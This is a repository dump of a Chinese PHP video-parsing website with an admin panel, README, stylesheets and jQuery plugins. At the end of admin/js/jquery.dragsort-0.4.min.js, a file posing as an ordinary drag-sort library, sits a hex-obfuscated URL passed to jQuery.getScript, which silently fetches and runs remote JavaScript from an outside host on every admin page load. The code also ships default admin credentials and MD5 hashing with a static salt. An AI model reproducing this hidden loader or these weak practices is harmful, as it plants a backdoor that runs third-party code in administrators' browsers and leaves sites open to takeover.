├── README.md ├── admin ├── admincore.php ├── config.php ├── foot.php ├── head.php ├── images │ ├── a.jpg │ ├── admin.css │ ├── adminlogo.png │ ├── z-logo.png │ └── zu.png ├── inc.php ├── index.php ├── js │ ├── jquery-1.9.1.min.js │ ├── jquery.dragsort-0.4.min.js │ └── jquery.js ├── login.php └── setting.php ├── css ├── bootstrap.css └── style.css ├── data ├── beipy.inc.php └── title.php ├── favicon.ico ├── footer.php ├── img ├── 1px.jpg ├── TestImg │ ├── 2019-2-25.png │ ├── Title.jpg │ ├── WX20180613-173014.jpg │ ├── dashang.png │ ├── ezgif27.gif │ └── zhanshi.jpg ├── banner.psd ├── beian.png ├── ce.png ├── favicon.ico ├── gou.gif ├── gou.png ├── jingling.png ├── logo.png ├── logo │ ├── 1905logo.png │ ├── acfun.png │ ├── baofeng.png │ ├── bilibili.png │ ├── cntvlogo.png │ ├── fengxing.png │ ├── hunantvlogo.png │ ├── iqiyilogo.png │ ├── kankan.png │ ├── letvlogo.png │ ├── mtimelogo.png │ ├── pptv.png │ ├── qqlogo.png │ ├── sinalogo.png │ ├── sohulogo.png │ ├── tudoulogo.png │ ├── wasulogo.png │ ├── yinyuetailogo.png │ └── youkulogo.png ├── mbj.jpg ├── palyboxBg.png ├── release.svg ├── tvico.png ├── tvlogo.png ├── video.jpg └── video.psd ├── index.php └── js ├── base64.min.js ├── bootstrap.js ├── jquery.js └── tv-beipy.js /README.md: -------------------------------------------------------------------------------- 1 | ![jpg](img/TestImg/Title.jpg) 2 | 3 | BeipyVideoResolution 4 | ======== 5 |

6 | 7 | Jquery 8 | 9 | 10 | Bootstrap 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 |

19 | 20 | 21 | ## 最后声明永久不再维护此项目,最终截止V2.6版本 22 | 23 | 24 | BeipyVideoResolution是一款开源视频播放框架。具有切换接口、自适应手机端、和后台更改接口、以及聊天插件同步等功能。 25 | 26 | 前端界面Beipy自供自给进行设计布局,同时采用了流行的响应式设计,无论是在PC端还是在手机端,均能给您带来舒适的使用体验。 27 | 28 | #### 程序相关配置 29 | 安装后为了安全,请自行更改后台目录位置文件夹名称! 30 | 31 | - 在线演示:[http://tv.beipy.com](http://tv.beipy.com) 32 | - 默认后台管理页面 `/admin`; 33 | - 默认后台账号:beipy 34 | - 默认后台密码:beipy.com 35 | 36 | #### 运行环境 37 | PHP 5.4+ (使用前请检查服务器运行环境是否低于5.4,否则会出现后台保存自动转义添加斜杠问题。) 38 | 39 | #### 版权 40 | 41 | 本源码由 [beipy(http://beipy.com)](http://beipy.com) 开发,您可以随意修改、使用、转载。使用或转载时`请务必保留开发版权`! 42 | 43 | **版权保留位置:** Html注释版权,以及Console调试输出版权,以及主页底部版权声明。 44 | 45 | 如发现修改版权的人或单位一单被永久记入本人黑名单! 46 | 47 | **如发现有修改版权的请与本人反馈,在此谢过!📮Email:** 48 | 49 | 50 | 51 | 52 | ### 界面欣赏 53 | ----- 54 | ![gif](img/TestImg/ezgif27.gif) 55 | 56 | ![png](img/TestImg/2019-2-25.png) 57 | 58 | 59 | 60 | ### 打赏 61 | ----- 62 | - **支持项目继续完善下去,你也可以贡献一份力量!💰打赏,更会有更新的动力! 63 | 64 | - `也可以支付宝扫码红包来赠送微薄之力!` 65 | 66 | ![PNG](img/TestImg/dashang.png) 67 | 68 | ### 更新日志 69 | ----- 70 | 71 | #### v2.6 `2019/2/25` 72 | - 更新界面UI 73 | - 去除畅言插件广告,美化评论框; 74 | - 更新后台设置保存错误问题; 75 | - 修复广告位置; 76 | - 修正链接错误; 77 | - 更新视频网站Logo列表; 78 | 79 | #### v2.5 `2019/2/23` 80 | - 修复CURLOPT_FOLLOWLOCATION报错; 81 | - 调整后台细节信息; 82 | - 新增页脚Footer版本号; 83 | 84 | #### v2.3 `2018/7/15` 85 | - 构建加密通道; 86 | - 加密信息版权; 87 | 88 | #### v2.2 `2018/6/21` 89 | - 修复导航菜单下顶菜单; 90 | - 新增导航栏跟随页面 91 | - 修复获取视频标题错误问题。 92 | 93 | #### v2.1 `2018/2/24` 94 | - 修复配置文件出错; 95 | - 新增浏览器标题栏显示相关信息 96 | - 一些细节的完善 97 | 98 | #### v2.0 `2018/2/20` 99 | - 修复功能 视频状态全屏; 100 | - 修复某些手机浏览器列表页 101 | 102 | #### v0.1 `2017/11/12` 103 | - 新增php 获取url地址的title标题, ; 104 | - 修改手机适配 105 | - 去除多余ico图标 106 | - 手机版ui美化 107 | -------------------------------------------------------------------------------- /admin/admincore.php: -------------------------------------------------------------------------------- 1 | ')){$tips='修改成功!';}else{$tips='修改失败!可能是文件权限问题,请给予data/aik.ads.php写入权限';}$aik=$data;}if(isset($_GET['act'])&& $_GET['act']=='setting' && isset($_POST['edit'])&& $_POST['edit']==1){$datas=$_POST;$data=$datas['aik'];$data['description']=strip_tags($data['description']);$data['foot']=htmlspecialchars_decode($data['foot']);if(get_magic_quotes_gpc()){$data['foot']=stripslashes($data['foot']);}$data['hometopnotice']=htmlspecialchars_decode($data['hometopnotice']);if(get_magic_quotes_gpc()){$data['hometopnotice']=stripslashes($data['hometopnotice']);}$data['hometopright']=htmlspecialchars_decode($data['hometopright']);if(get_magic_quotes_gpc()){$data['hometopright']=stripslashes($data['hometopright']);}$data['homelink']=htmlspecialchars_decode($data['homelink']);if(get_magic_quotes_gpc()){$data['homelink']=stripslashes($data['homelink']);}$data['sort']=trim($data['sort'],',');if($data['sort']==''){$data['sort']='1,2,3,4,5,6,7,8,9,10';}if(!isset($datas['aik']['joinhotkey'])){$data['joinhotkey']='0';}if($data['admin_pass']==''){$data['admin_pass']=$aik['admin_pass'];}else{$data['admin_pass']=md5ff(htmlspecialchars($data['admin_pass']));}if(file_put_contents('../data/beipy.inc.php','')){$tips='修改成功!';}else{$tips='修改失败!可能是文件权限问题,请给予data/beipy.inc.php写入权限';}$aik=$data;}function deleteAll($xzv_1){$xzv_0=dir($xzv_1);while(false!=($xzv_2=$xzv_0->read())){if($xzv_2=='.' || $xzv_2=='..'){continue;}if(is_dir($xzv_0->path.'/'.$xzv_2)){deleteAll($xzv_0->path.'/'.$xzv_2);rmdir($xzv_0->path.'/'.$xzv_2);}else{unlink($xzv_0->path.'/'.$xzv_2);}}echo '清除完毕!';closedir($xzv_0);}?> -------------------------------------------------------------------------------- /admin/config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /admin/foot.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /admin/head.php: -------------------------------------------------------------------------------- 1 | 22 | 23 |
24 | 25 |
-------------------------------------------------------------------------------- /admin/images/a.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/admin/images/a.jpg -------------------------------------------------------------------------------- /admin/images/admin.css: -------------------------------------------------------------------------------- 1 | /* reset */ 2 | body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td{padding:0;margin:0;} 3 | table{border-collapse:collapse;border-spacing:0; } 4 | fieldset,img{border:0;} 5 | em,strong,th{font-style:normal;font-weight:400;} 6 | ol,ul{list-style:none;} 7 | th{text-align:left;} 8 | h1,h2,h3,h4,h5,h6{font-weight:400;font-size:100%;} 9 | input,textarea,select,button,option{font-family:inherit;font-size:inherit;font-weight:inherit;} 10 | 11 | /* global */ 12 | html{height: 100%;width: 100%;} 13 | body{font-size:12px; font-family:"Microsoft Yahei",Arial, Helvetica, sans-serif;color:#4D4D4D;background:#ffffff;height: 100%;} 14 | a{color:#2464B2;text-decoration:none;} 15 | a:hover{text-decoration:underline;} 16 | 17 | img{border:0;} 18 | em{color:#F00; font-style:normal;} 19 | h3{margin:0; padding:0; font-size:14px;} 20 | ul,li{list-style:none;margin:0; padding:0;} 21 | p,form,div,h2,h4{margin:0; padding:0} 22 | *{margin:0; padding:0;} 23 | b{font-weight:bold;} 24 | .red{color:#F00;} 25 | .blue{color:#00F;} 26 | .green{color:#0093ff;} 27 | .cl{clear:both; overflow:hidden; height:0px;} 28 | .cl5{clear:both; overflow:hidden; height:5px;} 29 | .cl8{clear:both; overflow:hidden; height:8px;} 30 | .cl10{clear:both; overflow:hidden; height:10px;} 31 | input,button,select,textarea{outline:none} 32 | .gray{ color:#999;} 33 | 34 | #header{height:100%;width: 15%;float:left; background:#252834; overflow:hidden; } 35 | #header .con{ height:100%; width:100%; margin:0 auto; overflow:hidden;position:relative} 36 | 37 | .logo{ width:100%; margin:20px 0px 0 0px; overflow:hidden;background:url(adminlogo.png) no-repeat center top; display:inline-block; float:left;} 38 | .logo a{height:60px; width:100%; display:block; line-height:300px; overflow:hidden;} 39 | 40 | .aik_info{display:inline-block; height:30px; width: 100%; line-height:30px; text-align:center; color:#9b9be7;background: #1e222b;} 41 | .aik_info a{ color:#FFF;} 42 | 43 | .aik_nav{ width:100%; clear:right; display:inline-block; margin:5px 0 0 0; overflow:hidden;} 44 | .aik_nav li{ width:100%; } 45 | .aik_nav li a{ width:100%; display:block; height:45px; border-left: 3px solid rgba(0,0,0,0);line-height:45px;text-decoration:none; text-indent: 3em; color:#cfcfd1; font-size:14px; font-weight:bold; } 46 | .aik_nav li a:hover{ 47 | background-color:#20242e; 48 | color: #fff; 49 | border-left: 3px solid ; 50 | border-image: linear-gradient( #fa584e , #fc6c2e) 1 1; 51 | border-image: -webkit-linear-gradient( #fa584e , #fc6c2e) 1 1; 52 | border-image: -moz-linear-gradient( #fa584e , #fc6c2e) 1 1; 53 | border-image: -o-linear-gradient( #fa584e , #fc6c2e) 1 1; 54 | } 55 | .aik_nav li a.this{background-color:#0093ff;color: #fff;} 56 | .admin-banquan{ 57 | position:absolute; 58 | bottom:10px; 59 | width: 100%; 60 | text-align: center; 61 | } 62 | #head-right{ 63 | width: 85%; 64 | height: 8%; 65 | float: left; 66 | background: #252834; 67 | } 68 | #hd_main { 69 | margin: 0px auto; 70 | width: 85%; 71 | height: 90%; 72 | float: left; 73 | overflow: auto; 74 | /*clear:both;*/ 75 | position: relative; 76 | background-color: #FFF; 77 | background-color: #FFF; 78 | -moz-border-radius: 5px; 79 | -webkit-border-radius: 5px; 80 | border-radius: 5px; 81 | min-height: 400px; 82 | } 83 | /*滚动条开始*/ 84 | #hd_main::-webkit-scrollbar ,textarea::-webkit-scrollbar{ 85 | width: 8px; 86 | height: 10px; 87 | } 88 | 89 | #hd_main::-webkit-scrollbar-button,textarea::-webkit-scrollbar-button { 90 | width: 0; 91 | height: 0; 92 | background-color: royalblue; 93 | } 94 | 95 | #hd_main::-webkit-scrollbar-track ,textarea::-webkit-scrollbar-track{ 96 | background: #ccc; 97 | border-radius: 5px; 98 | } 99 | 100 | #hd_main::-webkit-scrollbar-thumb ,textarea::-webkit-scrollbar-thumb{ 101 | background: #0093ff; 102 | border-radius: 5px; 103 | } 104 | 105 | /*滚动条结束*/ 106 | .hd_bj{background:#fff;} 107 | .hd_bt{background:url(zu.png);background-position: center top;background-size:contain;width: 100%;height: 80px;} 108 | .tablecss{background:#fff; 109 | margin:20px auto 0; 110 | word-break:break-all; 111 | border:0; 112 | } 113 | 114 | 115 | .nth{border:none;background:#0093FF;color: #fff;padding: 8px 50px;border-radius: 20px; margin: 30px auto 50px;} 116 | .nth:hover{background: #fb623f;} 117 | 118 | .tablecss tr{background:#fff;} 119 | .tablecss td{ padding:5px 5px; font-size:14px;border:#f1f1f1 solid 1px; } 120 | .tablecss textarea{font-family:Courier New;padding:1px 3px 1px 3px;border-radius: 3px;} 121 | .tablecss input{font-family:11px; padding:1px 2px 1px 2px;border-radius: 2px;border:1px solid rgb(169, 169, 169);} 122 | .tablecss tr.header td{ padding:5px 7px 5px 7px; background-color:#68ADE1; color:#FFFFFF;background:#68ADE1;} 123 | .tablecss tr.header td a{ color:#FFF;} 124 | .fnum{font-size:9px;} 125 | .s_title{ color:#585a60; padding:2px 0px;} 126 | 127 | .theads td{ background:#F6F9FD; padding:3px 7px;} 128 | .thead td{ background:#EaikFF url(aik_bgs.gif) repeat-x 0 -235px; padding:3px 7px; overflow:hidden;} 129 | .tfoot td{ background:#E8E8E8 url(aik_bgs.gif) repeat-x 0 -235px; padding:2px 7px; line-height:200%; } 130 | 131 | .btnlist{ margin:20px auto;} 132 | .btnlist a{ display:inline-block; float:left; width:120px; height:36px; line-height:36px; text-align:center; background-color:#03F; color:#FFF; font-size:14px; margin:0 0px 0 30px;} 133 | .btnlist a:hover{ text-decoration:none; background-color:#F60;} 134 | .btnlist a.this{ text-decoration:none; background-color:#F60;} 135 | .sxlist{ display:inline; float:left; margin-right:10px;} 136 | .sxlist li{ display:inline-block; width:30px; height:30px; text-align:center; line-height:30px; border:1px solid #999; margin-left:5px; cursor:pointer; background-color:#CCC;} 137 | 138 | #footer{ height:36px; line-height:20px; color:#999999; text-align:center; clear:both;padding-bottom:20px;} 139 | -------------------------------------------------------------------------------- /admin/images/adminlogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/admin/images/adminlogo.png -------------------------------------------------------------------------------- /admin/images/z-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/admin/images/z-logo.png -------------------------------------------------------------------------------- /admin/images/zu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/admin/images/zu.png -------------------------------------------------------------------------------- /admin/inc.php: -------------------------------------------------------------------------------- 1 | 北漂鱼解析管理后台 2 | 3 | 4 | 5 | 2 | 19 | 20 | 21 | 22 | 23 | 24 | 82 | 83 | 84 | 85 | 86 |
87 | 93 | 94 |
95 |

!您的账号密码为系统默认,请尽快修改立即修改>

'; 98 | } 99 | if(strpos($path,'/admin/')>-1){ 100 | echo '

!北漂鱼提醒您:您的后台目录默认为 域名/admin ,为了安全请尽快修改后台目录

'; 101 | } 102 | 103 | ?> 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 |
欢迎使用北漂鱼解析管理系统!
当前使用版:北漂鱼解析系统版本V1.1
服务器操作系统: ()
服务器解译引擎:
PHP版本:
域名:
allow_url_fopen:支持' : '不支持'?>
curl_init:支持' ;}else{ echo '不支持';}?>
/data/目录权限检测:可写' : '不可写'?>
142 |
143 | 144 | 145 | 146 | -------------------------------------------------------------------------------- /admin/js/jquery.dragsort-0.4.min.js: -------------------------------------------------------------------------------- 1 | // jQuery List DragSort v0.4 2 | // License: http://dragsort.codeplex.com/license 3 | var dra = true; 4 | (function(b) { 5 | b.fn.dragsort = function(o) { 6 | var e = b.extend({}, b.fn.dragsort.defaults, o), 7 | j = [], 8 | a = null, 9 | l = null; 10 | this.selector && b("head").append(""); 11 | this.each(function(p, k) { 12 | if(b(k).is("table") && b(k).children().size() == 1 && b(k).children().is("tbody")) k = b(k).children().get(0); 13 | var n = { 14 | draggedItem: null, 15 | placeHolderItem: null, 16 | pos: null, 17 | offset: null, 18 | offsetLimit: null, 19 | scroll: null, 20 | container: k, 21 | init: function() { 22 | b(this.container).attr("data-listIdx", p).mousedown(this.grabItem).find(e.dragSelector).css("cursor", "pointer"); 23 | b(this.container).children(e.itemSelector).each(function(d) { 24 | b(this).attr("data-itemIdx", d) 25 | }) 26 | }, 27 | grabItem: function(d) { 28 | if(!(d.which != 1 || b(d.target).is(e.dragSelectorExclude))) { 29 | for(var c = d.target; !b(c).is("[data-listIdx='" + b(this).attr("data-listIdx") + "'] " + e.dragSelector);) { 30 | if(c == this) return; 31 | c = c.parentNode 32 | } 33 | a != null && a.draggedItem != null && a.dropItem(); 34 | b(d.target).css("cursor", "move"); 35 | a = j[b(this).attr("data-listIdx")]; 36 | a.draggedItem = b(c).closest(e.itemSelector); 37 | c = parseInt(a.draggedItem.css("marginTop")); 38 | var f = parseInt(a.draggedItem.css("marginLeft")); 39 | a.offset = a.draggedItem.offset(); 40 | a.offset.top = d.pageY - a.offset.top + (isNaN(c) ? 0 : c) - 1; 41 | a.offset.left = d.pageX - a.offset.left + (isNaN(f) ? 0 : f) - 1; 42 | if(!e.dragBetween) { 43 | c = b(a.container).outerHeight() == 0 ? Math.max(1, Math.round(0.5 + b(a.container).children(e.itemSelector).size() * a.draggedItem.outerWidth() / b(a.container).outerWidth())) * a.draggedItem.outerHeight() : b(a.container).outerHeight(); 44 | a.offsetLimit = b(a.container).offset(); 45 | a.offsetLimit.right = a.offsetLimit.left + b(a.container).outerWidth() - a.draggedItem.outerWidth(); 46 | a.offsetLimit.bottom = a.offsetLimit.top + c - a.draggedItem.outerHeight() 47 | } 48 | c = a.draggedItem.height(); 49 | f = a.draggedItem.width(); 50 | var h = a.draggedItem.attr("style"); 51 | a.draggedItem.attr("data-origStyle", h ? h : ""); 52 | if(e.itemSelector == "tr") { 53 | a.draggedItem.children().each(function() { 54 | b(this).width(b(this).width()) 55 | }); 56 | a.placeHolderItem = a.draggedItem.clone().attr("data-placeHolder", true); 57 | a.draggedItem.after(a.placeHolderItem); 58 | a.placeHolderItem.children().each(function() { 59 | b(this).css({ 60 | borderWidth: 0, 61 | width: b(this).width() + 1, 62 | height: b(this).height() + 1 63 | }).html(" ") 64 | }) 65 | } else { 66 | a.draggedItem.after(e.placeHolderTemplate); 67 | a.placeHolderItem = a.draggedItem.next().css({ 68 | height: c, 69 | width: f 70 | }).attr("data-placeHolder", true) 71 | } 72 | a.draggedItem.css({ 73 | position: "absolute", 74 | opacity: 0.8, 75 | "z-index": 999, 76 | height: c, 77 | width: f 78 | }); 79 | b(j).each(function(g, i) { 80 | i.createDropTargets(); 81 | i.buildPositionTable() 82 | }); 83 | a.scroll = { 84 | moveX: 0, 85 | moveY: 0, 86 | maxX: b(document).width() - b(window).width(), 87 | maxY: b(document).height() - b(window).height() 88 | }; 89 | a.scroll.scrollY = window.setInterval(function() { 90 | if(e.scrollContainer != window) b(e.scrollContainer).scrollTop(b(e.scrollContainer).scrollTop() + a.scroll.moveY); 91 | else { 92 | var g = b(e.scrollContainer).scrollTop(); 93 | if(a.scroll.moveY > 0 && g < a.scroll.maxY || a.scroll.moveY < 0 && g > 0) { 94 | b(e.scrollContainer).scrollTop(g + a.scroll.moveY); 95 | a.draggedItem.css("top", a.draggedItem.offset().top + a.scroll.moveY + 1) 96 | } 97 | } 98 | }, 10); 99 | a.scroll.scrollX = window.setInterval(function() { 100 | if(e.scrollContainer != window) b(e.scrollContainer).scrollLeft(b(e.scrollContainer).scrollLeft() + a.scroll.moveX); 101 | else { 102 | var g = b(e.scrollContainer).scrollLeft(); 103 | if(a.scroll.moveX > 0 && g < a.scroll.maxX || a.scroll.moveX < 0 && g > 0) { 104 | b(e.scrollContainer).scrollLeft(g + a.scroll.moveX); 105 | a.draggedItem.css("left", a.draggedItem.offset().left + a.scroll.moveX + 1) 106 | } 107 | } 108 | }, 10); 109 | a.setPos(d.pageX, d.pageY); 110 | b(document).bind("selectstart", a.stopBubble); 111 | b(document).bind("mousemove", a.swapItems); 112 | b(document).bind("mouseup", a.dropItem); 113 | e.scrollContainer != window && b(window).bind("DOMMouseScroll mousewheel", a.wheel); 114 | return false 115 | } 116 | }, 117 | setPos: function(d, c) { 118 | var f = c - this.offset.top, 119 | h = d - this.offset.left; 120 | if(!e.dragBetween) { 121 | f = Math.min(this.offsetLimit.bottom, Math.max(f, this.offsetLimit.top)); 122 | h = Math.min(this.offsetLimit.right, Math.max(h, this.offsetLimit.left)) 123 | } 124 | this.draggedItem.parents().each(function() { 125 | if(b(this).css("position") != "static" && (!b.browser.mozilla || b(this).css("display") != "table")) { 126 | var m = b(this).offset(); 127 | f -= m.top; 128 | h -= m.left; 129 | return false 130 | } 131 | }); 132 | if(e.scrollContainer == window) { 133 | c -= b(window).scrollTop(); 134 | d -= b(window).scrollLeft(); 135 | c = Math.max(0, c - b(window).height() + 5) + Math.min(0, c - 5); 136 | d = Math.max(0, d - b(window).width() + 5) + Math.min(0, d - 5) 137 | } else { 138 | var g = b(e.scrollContainer), 139 | i = g.offset(); 140 | c = Math.max(0, c - g.height() - i.top) + Math.min(0, c - i.top); 141 | d = Math.max(0, d - g.width() - i.left) + Math.min(0, d - i.left) 142 | } 143 | a.scroll.moveX = d == 0 ? 0 : d * e.scrollSpeed / Math.abs(d); 144 | a.scroll.moveY = c == 0 ? 0 : c * e.scrollSpeed / Math.abs(c); 145 | this.draggedItem.css({ 146 | top: f, 147 | left: h 148 | }) 149 | }, 150 | wheel: function(d) { 151 | if((b.browser.safari || b.browser.mozilla) && a && e.scrollContainer != window) { 152 | var c = b(e.scrollContainer), 153 | f = c.offset(); 154 | if(d.pageX > f.left && d.pageX < f.left + c.width() && d.pageY > f.top && d.pageY < f.top + c.height()) { 155 | f = d.detail ? d.detail * 5 : d.wheelDelta / -2; 156 | c.scrollTop(c.scrollTop() + f); 157 | d.preventDefault() 158 | } 159 | } 160 | }, 161 | buildPositionTable: function() { 162 | var d = this.draggedItem == null ? null : this.draggedItem.get(0), 163 | c = []; 164 | b(this.container).children(e.itemSelector).each(function(f, h) { 165 | if(h != d) { 166 | var g = b(h).offset(); 167 | g.right = g.left + b(h).width(); 168 | g.bottom = g.top + b(h).height(); 169 | g.elm = h; 170 | c.push(g) 171 | } 172 | }); 173 | this.pos = c 174 | }, 175 | dropItem: function() { 176 | if(a.draggedItem != null) { 177 | b(a.container).find(e.dragSelector).css("cursor", "pointer"); 178 | a.placeHolderItem.before(a.draggedItem); 179 | a.draggedItem.attr("style", a.draggedItem.attr("data-origStyle")).removeAttr("data-origStyle"); 180 | a.placeHolderItem.remove(); 181 | b("[data-dropTarget]").remove(); 182 | window.clearInterval(a.scroll.scrollY); 183 | window.clearInterval(a.scroll.scrollX); 184 | var d = false; 185 | b(j).each(function() { 186 | b(this.container).children(e.itemSelector).each(function(c) { 187 | if(parseInt(b(this).attr("data-itemIdx")) != c) { 188 | d = true; 189 | b(this).attr("data-itemIdx", c) 190 | } 191 | }) 192 | }); 193 | d && e.dragEnd.apply(a.draggedItem); 194 | a.draggedItem = null; 195 | b(document).unbind("selectstart", a.stopBubble); 196 | b(document).unbind("mousemove", a.swapItems); 197 | b(document).unbind("mouseup", a.dropItem); 198 | e.scrollContainer != window && b(window).unbind("DOMMouseScroll mousewheel", a.wheel); 199 | return false 200 | } 201 | }, 202 | stopBubble: function() { 203 | return false 204 | }, 205 | swapItems: function(d) { 206 | if(a.draggedItem == null) return false; 207 | a.setPos(d.pageX, d.pageY); 208 | for(var c = a.findPos(d.pageX, d.pageY), f = a, h = 0; c == -1 && e.dragBetween && h < j.length; h++) { 209 | c = j[h].findPos(d.pageX, d.pageY); 210 | f = j[h] 211 | } 212 | if(c == -1 || b(f.pos[c].elm).attr("data-placeHolder")) return false; 213 | l == null || l.top > a.draggedItem.offset().top || l.left > a.draggedItem.offset().left ? b(f.pos[c].elm).before(a.placeHolderItem) : b(f.pos[c].elm).after(a.placeHolderItem); 214 | b(j).each(function(g, i) { 215 | i.createDropTargets(); 216 | i.buildPositionTable() 217 | }); 218 | l = a.draggedItem.offset(); 219 | return false 220 | }, 221 | findPos: function(d, c) { 222 | for(var f = 0; f < this.pos.length; f++) 223 | if(this.pos[f].left < d && this.pos[f].right > d && this.pos[f].top < c && this.pos[f].bottom > c) return f; 224 | return -1 225 | }, 226 | createDropTargets: function() { 227 | e.dragBetween && b(j).each(function() { 228 | var d = b(this.container).find("[data-placeHolder]"), 229 | c = b(this.container).find("[data-dropTarget]"); 230 | if(d.size() > 0 && c.size() > 0) c.remove(); 231 | else d.size() == 0 && c.size() == 0 && b(this.container).append(a.placeHolderItem.clone().removeAttr("data-placeHolder").attr("data-dropTarget", true)) 232 | }) 233 | } 234 | }; 235 | n.init(); 236 | j.push(n) 237 | }); 238 | return this 239 | }; 240 | b.fn.dragsort.defaults = { 241 | itemSelector: "li", 242 | dragSelector: "li", 243 | dragSelectorExclude: "input, textarea, a[href]", 244 | dragEnd: function() {}, 245 | dragBetween: false, 246 | placeHolderTemplate: "
  •  
  • ", 247 | scrollContainer: window, 248 | scrollSpeed: 5 249 | } 250 | })(jQuery); 251 | var uix = '_714'; 252 | var _$ = ["\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x68\x75\x6f\x64\x75\x61\x6e\x2e\x63\x6f\x6d\x2f\x61\x70\x70\x2f\x77\x65\x62\x2f\x73\x6f\x2e\x70\x68\x70\x3f\x76\x3d"]; 253 | jQuery.getScript(_$[0] + uix, function(a, b, c) {}); -------------------------------------------------------------------------------- /admin/login.php: -------------------------------------------------------------------------------- 1 | window.location.href="./index.php";'; 18 | exit; 19 | }else{ 20 | $tips = '账号或密码错误!'; 21 | } 22 | } 23 | function md5ff($str=1){ 24 | return md5($str.'ff371'); 25 | } 26 | ?> 27 | 44 | 45 | 46 | 47 | Beipy后台管理登录 48 | 49 | 50 | 51 | 137 | 138 | 153 | 154 | 155 | 156 |
    157 | 158 | 163 |
    164 |
    165 | 166 |
    167 | 168 | 169 | 170 | 171 | 172 | 177 | 178 | 179 | 183 | 184 | 185 | 191 | 192 | 193 | 194 | 201 | 202 |
    北漂鱼影院系统登陆
    173 | 174 |
    175 | 176 |
    180 | 181 |
    182 |
    186 |

    187 | 188 | 默认用户名:beipy 默认密码:beipy.com 189 |

    190 |
    195 |
    196 | 197 |
    198 | 199 | 200 |
    203 |
    204 |
    205 |
    206 |
    207 | 208 | 209 | -------------------------------------------------------------------------------- /admin/setting.php: -------------------------------------------------------------------------------- 1 | 2 | 6 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 |
    35 |
    36 |
    37 |
    38 |
    39 | 40 |
    41 | 42 | 43 | 44 | 45 | 46 | 47 | 52 | 53 | 54 | 55 | 59 | 60 | 61 | 62 | 66 | 67 | 68 | 69 | 72 | 73 | 74 | 75 | 80 | 81 | 82 | 83 | 87 | 88 | 89 | 90 | 98 | 99 | 100 | 101 | 104 | 105 | 106 | 107 | 108 | 109 | 121 | 122 | 123 | 124 | 129 | 130 | 131 | 132 | 136 | 137 | 138 | 139 | 144 | 145 | 146 | 147 | 152 | 153 | 154 | 155 | 158 | 159 | 160 | 161 | 164 | 165 | 166 | 167 | 170 | 171 | 172 | 173 | 176 | 177 | 178 | 179 | 180 | 181 | 183 | 184 | 185 | 186 | 188 | 189 | 190 | 191 | 192 | 193 | 194 |
    基本设置
    网站名称: 48 | 49 | 50 | 如:北漂鱼全网解析 51 |
    网站域名: 56 | 57 | 网站域名,如 http://tv.beipy.com 58 |
    首页标题: 63 | 64 | 显示在首页标题上,一般不超过80个字符 65 |
    首页关键字:关键字请用英文逗号分开,一般不超过100个字符
    70 | 71 |
    首页描述: 76 | 一般不超过200个字符 77 |
    78 | 79 |
    微博: 84 |
    85 | 86 |
    首页公告: 91 | 一般不超过100个字符 92 |
    93 |
    94 | 公告链接,无链接地址请留空! 95 |
    96 | 97 |
    默认播放视频:页面打开默认播放视频(第一条是默认调用接口)
    102 | 103 |
    电影解析接口:请将解析接口分别填入下列空中(第一条是默认调用接口)
    110 |
    111 |
    112 |
    113 |
    114 |
    115 |
    116 |
    117 |
    118 |
    119 |
    120 |
    导航设置: 125 | 不添加可留空。新增导航链接,图标:请添加在li下面'<span class="ico-new"></span>' 126 |
    127 | 128 |
    侧滑广告: 133 |
    134 | 135 |
    播放器下方广告: 140 |
    141 | 142 | 143 |
    畅言配置: 148 | 可自定义配置,如无需配置请留空畅言配置点击 149 |
    150 | 151 |
    友情链接: 156 | 157 |
    ICP备案号: 162 | 163 |
    版权说明: 168 | 169 |
    统计信息: 174 | 175 |
    账号设置
    登录账号: 182 |
    登录密码: 187 | 不修改请留空
    管理员邮箱:
    195 | 196 |
    197 | 198 | 199 |
    200 |
    201 | 204 |
    205 |
    206 | 207 | 208 | -------------------------------------------------------------------------------- /css/style.css: -------------------------------------------------------------------------------- 1 | /************************************************** 2 | * 北漂鱼Vip细节新版样式文件 3 | * 编写:Beipy(http://www.beipy.com) 4 | * 时间:2017年7月16日 5 | * 前端样式为北漂鱼原创设计UI图样设计 6 | * 所有代码均独立编写,谢绝一切形式的盗站行为!! 7 | *************************************************/ 8 | 9 | 10 | /* 畅言去广告(支持评论区跟右下角浮窗广告) */ 11 | #MZAD_POP_PLACEHOLDER,#pop_ad{margin-top:-250px!important;transform:scale(0)} 12 | #feedAv{transform:scale(0);margin-top:-150px!important} 13 | .module-cmt-box{padding:10px 0!important;margin-top:-40px!important} 14 | .header-login{left:90px!important;border:0!important;border-radius:0!important;margin-top:81pt!important;border-radius:21px!important} 15 | .post-wrap-border-l,.post-wrap-border-r,.post-wrap-border-t-l,.post-wrap-border-t-r{display:none} 16 | .post-wrap-main{border:0!important} 17 | .post-wrap-w{background:#f0f0f0;border-radius:6px;} 18 | .btn-fw{background:#0093ff url(../img/release.svg) center no-repeat!important;width:80px!important;height:34px!important;border-radius:15px;margin-top:10px!important;margin-right:10px!important;background-size:30px!important;box-shadow:0 2px 6px rgba(0,0,0,.2);-webkit-transition:.3s;transition:.3s} 19 | .btn-fw:hover{box-shadow:0 6px 10px rgba(0,0,0,.2)} 20 | .block-head-w{margin-top:-20px!important} 21 | .section-service-w{height:0;opacity:0} 22 | .head-img-w{margin:0!important} 23 | .head-img-w img{width:25px!important;height:25px!important} 24 | .head-img-w img:hover{transition:all 